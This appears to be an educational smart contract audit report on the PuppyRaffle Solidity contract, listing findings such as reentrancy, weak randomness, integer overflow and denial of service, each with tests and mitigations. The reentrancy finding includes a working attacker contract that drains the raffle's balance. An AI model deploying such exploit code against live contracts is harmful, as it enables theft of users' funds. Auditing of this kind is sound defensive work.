Puppy Raffle Audit Report

Version 1.0

Cyfrin.io

February 18, 2024

Puppy Raffle Audit Report

beruf

Feburary 18th, 2024

Prepared by: beruf

Lead Auditors:

- beruf (https://github.com/rube-de)

Table of Contents

Protocol Summary

Puppy Rafle is a protocol dedicated to raffling off puppy NFTs with variying rarities. A portion of entrance fees go to the winner, and a fee is taken by another address decided by the protocol owner.

Disclaimer

The beruf team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not

an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
22bbbb2c47f3f2b78c1b134590baf41383fd354f
```

Scope

```
./src/
-- PuppyRaffle.sol
```

Roles

- Owner: The only one who can change the `feeAddress`, denominated by the `_owner` variable.
- Fee User: The user who takes a cut of raffle entrance fees. Denominated by the `feeAddress` variable.
- Raffle Entrant: Anyone who enters the raffle. Denominated by being in the `players` array.

Executive Summary

This security review was done for educational purpose. The protocal has several issues with a high impact, a reentrancy to drain the contract funds, weak randomness which lets you manipulate the winner and an overflow that will make the protocol owner lose fees. The addressed findings have recommended mitigation steps and we adivice the protocol to fix them accordingly before going live.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Gas	2
Info	10
Total	19

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund()` allows entrant to drain raffe balance

Description: The `PuppyRaffe::refund()` function does not follow CEI (Check, Effects, Interactions) and as result enables participants to drain the contract balance.

In the `PuppyRaffe::refund` function, we first make an external call to the `msg.sender` address and olny after making that external call do we update the `PuppyRaffle::players` array.

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
4          require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6  @>      payable(msg.sender).sendValue(entranceFee);
```

```
7  @>      players[playerIndex] = address(0);
8
9           emit RaffleRefunded(playerAddress);
10      }
```

A players who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund()` function again and claim antoher refund. They could continue the cycle until the contract balance is drained.

Impact: Alls fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attackers sets up a contract with a `fallback` function that calls `PuppyRaffle::refund` until balance of the PuppyRaffle is 0
3. Attackers enters the raffle
4. Attacker calls `PuppyRaffle::refund()` from their attack contract, draining the contract balance

Proof of Code

Code

Place this in `PuppyRaffleTest.t.sol`

```
1      function testReentrancyRefund() public {
2          address[] memory players = new address[](4);
3          players[0] = playerOne;
4          players[1] = playerTwo;
5          players[2] = playerThree;
6          players[3] = playerFour;
7          puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9          ReentrancyAttacker attackerContract = new ReentrancyAttacker(
               puppyRaffle);
10         address attackUser = makeAddr("attackUser");
11         vm.deal(attackUser, 1 ether);
12
13         uint256 startAttackContractBal = address(attackerContract).
               balance;
14         uint256 startContractBal = address(puppyRaffle).balance;
15
16         //attack
17         vm.prank(attackUser);
18         attackerContract.attack{value: 1 ether}();
19
20         console.log("starting attack contract balance: ",
               startAttackContractBal);
```

```
21          console.log("starting contract balance: ", startContractBal);
22
23
24          uint256 endAttackContractBal = address(attackerContract).
                balance;
25          uint256 endContractBal = address(puppyRaffle).balance;
26          console.log("end attack contract balance: ",
                endAttackContractBal);
27          console.log("end contract balance: ", endContractBal);
28
29          assertEq(endContractBal, 0);
30          assertEq(endAttackContractBal, startContractBal + entranceFee);
31      }
```

And this attacker contract as well

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = _puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
               ;
16         puppyRaffle.refund(attackerIndex);
17     }
18
19     receive() external payable {
20         if(address(puppyRaffle).balance >= entranceFee) {
21             puppyRaffle.refund(attackerIndex);
22         }
23     }
24 }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund()` function update the `players` array before making the external call. Additionaly, we should move the event emission up as well.

```
1      function refund(uint256 playerIndex) public {
2          address playerAddress = players[playerIndex];
3          require(playerAddress == msg.sender, "PuppyRaffle: Only the
               player can refund");
```

```
4           require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5   +       players[playerIndex] = address(0);
6   +       emit RaffleRefunded(playerAddress);
7           payable(msg.sender).sendValue(entranceFee);
8   -       players[playerIndex] = address(0);
9   -       emit RaffleRefunded(playerAddress);
10      }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner()` allows users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable number. A predictable number is not a good random number. Malicious users can manipulate thse values or know them ahead of time to choose the winner of the raffle themselvles.

Note: This additionally means users could front-run this function and call `refund`if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty`was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being usde to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using onchain values as randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically proven random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees`, which losses fees

Description: In solidity versions prior to `0.8.0` integers are subject to integer overflows. This smart contract uses `0.7.6`.

```
uint64 myVar = type(uint64).max; // 18446744073709551615
myVar = myVar + 1; // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner()`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees()`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaing fees permanently stuck in the contract.

Proof of Concept: 1. We conclude a raffle with 4 players 2. We then have 89 players enter a new raffle, and coclude the raffle 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// aka
totalFees = 80000000000000000 + 17800000000000000000
// and this will overflow!
totalFees = 153255926290448384
```

4. you will not able to withdraw fees, due to the line in `PuppyRaffle::withdrawFees()`:

```
        require(address(this).balance == uint256(totalFees), "
            PuppyRaffle: There are currently players active!");
```

Code

```
    function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

```

```
24          uint256 endingTotalFees = puppyRaffle.totalFees();
25          console.log("ending total fees", endingTotalFees);
26          assert(endingTotalFees < startingTotalFees);
27
28          // We are also unable to withdraw any fees because of the
                require check
29          vm.prank(puppyRaffle.feeAddress());
30          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
31          puppyRaffle.withdrawFees();
32      }
```

Recommended Mitigation: There are a few posiible mitigations.

1. Use solidity `0.8.0` or later, and a `uint256` instead of the `uint64` for `PuppyRaffe::totalFees`
2. You could also use the `SafeMath` library of OpenZeppelin for version `0.7.6` of solidity, however you would stil lhave a hard time with the `uint64` type if too many fees are collected.
3. Remove the blalance check from `PuppyRaffle::withdrawFees()`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Unbound for-loop at checking for duplicate players at `PuppyRaffle:enterRaffle()`, increases gas cost and potential DoS for future entrants

Description: The `PuppyRaffle::enterRaffle()` function loops through the `players` array to check for duplicates. Howeve, the bigger the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gas costs for a player who enters right when the raffle starts will be dramatically lower than those who enter later.

```
1       // Check for duplicates
2   @>  for (uint256 i = 0; i < players.length - 1; i++) {
3           for (uint256 j = i + 1; j < players.length; j++) {
4               require(players[i] != players[j], "PuppyRaffle: Duplicate
                    player");
5           }
6       }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later players from entering.

An attacker might make the `PuppyRaffle::players` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept: If we have 2 sets of 100 players to enter, the gas costs will be as such: - 1st 100 players: ~6252048 - 2nd 100 players: ~18068138

This is about 3x more expensive for the second 100 players.

PoC Code

Place the followingg test into `PuppyRaffleTest.t.sol`.

```
    function testDosAttack() public {
        uint256 amount = 100;
        address[] memory players = new address[](amount);
        for (uint i = 0; i < amount; i++) {
            players[i] = address(uint160(i));
        }
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasEnd = gasleft();

        uint256 gasUsed1 = (gasStart - gasEnd);
        console.log("Gas cost of the first players ", gasUsed1 );

        address[] memory players2 = new address[](amount);
        for (uint i = 0; i < amount; i++) {
            players2[i] = address(uint160(i+amount));
        }
        uint256 gasStart2 = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players2.length}(
            players2);
        uint256 gasEnd2 = gasleft();

        uint256 gasUsed2 = (gasStart2 - gasEnd2);
        console.log("Gas cost of the first players ", gasUsed2 );
        assert(gasUsed1 < gasUsed2);
    }
```

Recommended Mitigation: There are a few different recommendations:

1. Consider allowing duplicates. Players can just make new wallets and enter with a different address, with that a duplicate check doesn't prevent a player from entering multiple times.
2. Consider using a mapping instead of a players array. (as mappings can't be deleted a nest mapping with raffle id could be a solution)
3. Consider using OpenZeppelin's `EnummerableSet` library.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fee

Description: In `PuppyRaffle::selectWinner()` there is a cast of the `uint256 fee` to a `uint64`. This is a unsafe cast and if the `uint256` value is larger than `type(uint64).max`, the value will be truncated.

```
1          uint256 fee = (totalAmountCollected * 20) / 100;
2          totalFees = totalFees + uint64(fee);
```

Impact: `type(uint64).max` value is around 18 ETH, if there is fee higher than this, ETH will get stuck in the contract, and it also impacts the `PuppyRaffle::withdrawFees()` function.

Proof of Concept:

1. Enter the raffle with enough players that the 20% fee exceeds 18 ETH
2. Call `PuppyRaffle::selectWinner()`
3. `totalFees` will show incorrect amount

You can replicate this in foundry's chisel by running the following

```
1 uint256 max = type(uint64).max;
2 uint256 fee = max + 1;
3 uint64(fee);
4 // prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
3 .
4 .
5 .
6 -       totalFees = totalFees + uint64(fee);
7 +       totalFees = totalFees + fee;
```

[M-3] Wins a smart conrtact wallet without a `receive()` or `fallback()` function the raffle, it would block the start of a new contest

Description: The `PuppyRaffle::selectWinner()` function is responsible for resetting the lottery. However, if the winner is a smart contract that rejects payment, the lottery won't be able to restart.

Users could easily call the `PuppyRaffle::selectWinner()` function again until a wallet that accepts payment wins, but this could result in paying a lot of gas for finding a working winner.

Impact: The `PuppyRaffle::selectWinner()` function could revert many times, making lottery reset difficult

Also, true winners would not get paid out and someone else would win instead.

Proof of Concept:

1. 10 smart contract wallets witho ut a fallback or receive function enter the lottery.
2. The lottery ends.
3. The `PuppyRaffle::selectWinner()` function won't work, even as the lottery is over!

Recommended Mitigation: 1. Do not allow smart contract wallet entrants (not recommended) 2. Create a mapping of addresses -> payout amounts so winners call pull their funds out themselves with a new `claimPrize()` function, putting the owness on the winner to claim their prize (recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex()` returns 0 for non-existant players and for players at index 0, causing a player at index 0 to incorrectly thing they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1     /// @return the index of the player in the array, if they are not
          active, it returns 0
2     function getActivePlayerIndex(address player) external view returns
          (uint256) {
3         for (uint256 i = 0; i < players.length; i++) {
4             if (players[i] == player) {
5                 return i;
6             }
7         }
8         return 0;
9     }
```

Impact: A player at index 0 may incorrectly thing they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant at players[0]
2. `PuppyRaffle::getActivePlayerIndex` returns 0

3. User things they have not entered correctly duo to the function documentation and will try to enter again

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Description Reading from storage is much more expensive than reading from a constant or immutable variable. Instances: -`PuppyRaffle::raffleDuration` should be `immutable` -`PuppyRaffle::commonImageUri` should be `constant` -`PuppyRaffle::rareImageUri` should be `constant` -`PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Description Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

Recommendation

```
+       uint256 playersLength = players.length
-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playersLength - 1; i++) {
-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playersLength; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Informational

[I-1] Solidity pragma should be specific, not wide

Description Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2] Using an oudated version of Solidiry is not recommended

Description solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with any of the following Solidity versions:

```
1 0.8.18
```

The recommendations take into account: Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

See Slither documentation for more information

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 69

```
1         feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 179

```
1         previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 202

```
1         feeAddress = newFeeAddress;
```

[I-4] Functions are not set to `external`, when only called from outside

The visibility of only external called functions should be set to `external` instead of **`public`**.

- Found in src/PuppyRaffle.sol Line: 79

```
1     function enterRaffle(address[] memory newPlayers) public payable {
```

[I-5] `PuppyRaffle::selectWinner()` does not follow CEI

It's best pratice to follow CEI (Checks, Effects, Interactions).

```
-         (bool success,) = winner.call{value: prizePool}("");
-         require(success, "PuppyRaffle: Failed to send prize pool to winner");
          _safeMint(winner, tokenId);
+         (bool success,) = winner.call{value: prizePool}("");
+         require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-6] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant POOL_PRECISION = 100;

uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE) / POOL_PRECISION;
uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;
```

[I-7] State changes are missing events

Description: There are several state changes that don't emit an event.

- src/PuppyRaffle.sol#L134
- src/PuppyRaffle.sol#L150
- src/PuppyRaffle.sol#L160

[I-8] `PuppyRaffle::_isActivePlayer()` is an internal function that is never used

Description: The internal function `PuppyRaffle::_isActivePlayer()` is never used and should be removed.

Impact: Unused code makes it more expensive to deploy the contract.

[I-9] Test Coverage

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

```
| File                                | % Lines        | % Statements
   | % Branches     | % Funcs       |
| ----------------------------------- | -------------- | --------------
   | -------------- | ------------- |
| script/DeployPuppyRaffle.sol        | 0.00% (0/3)    | 0.00% (0/4)
   | 100.00% (0/0)  | 0.00% (0/1)   |
| src/PuppyRaffle.sol                 | 82.46% (47/57) | 83.75% (67/80)
   | 66.67% (20/30) | 77.78% (7/9)  |
| test/auditTests/ProofOfCodes.t.sol | 100.00% (7/7)  | 100.00% (8/8)
   | 50.00% (1/2)   | 100.00% (2/2) |
| Total                               | 80.60% (54/67) | 81.52% (75/92)
   | 65.62% (21/32) | 75.00% (9/12) |
```

Recommended Mitigation: Increase test coverage to 90% or higher, especially for the `Branches` column.

[I-10] Unchanged variables should be constant or immutable

Constant Instances:

```
PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant
PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be
   constant
PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant
```

Immutable Instances:

```
PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable
```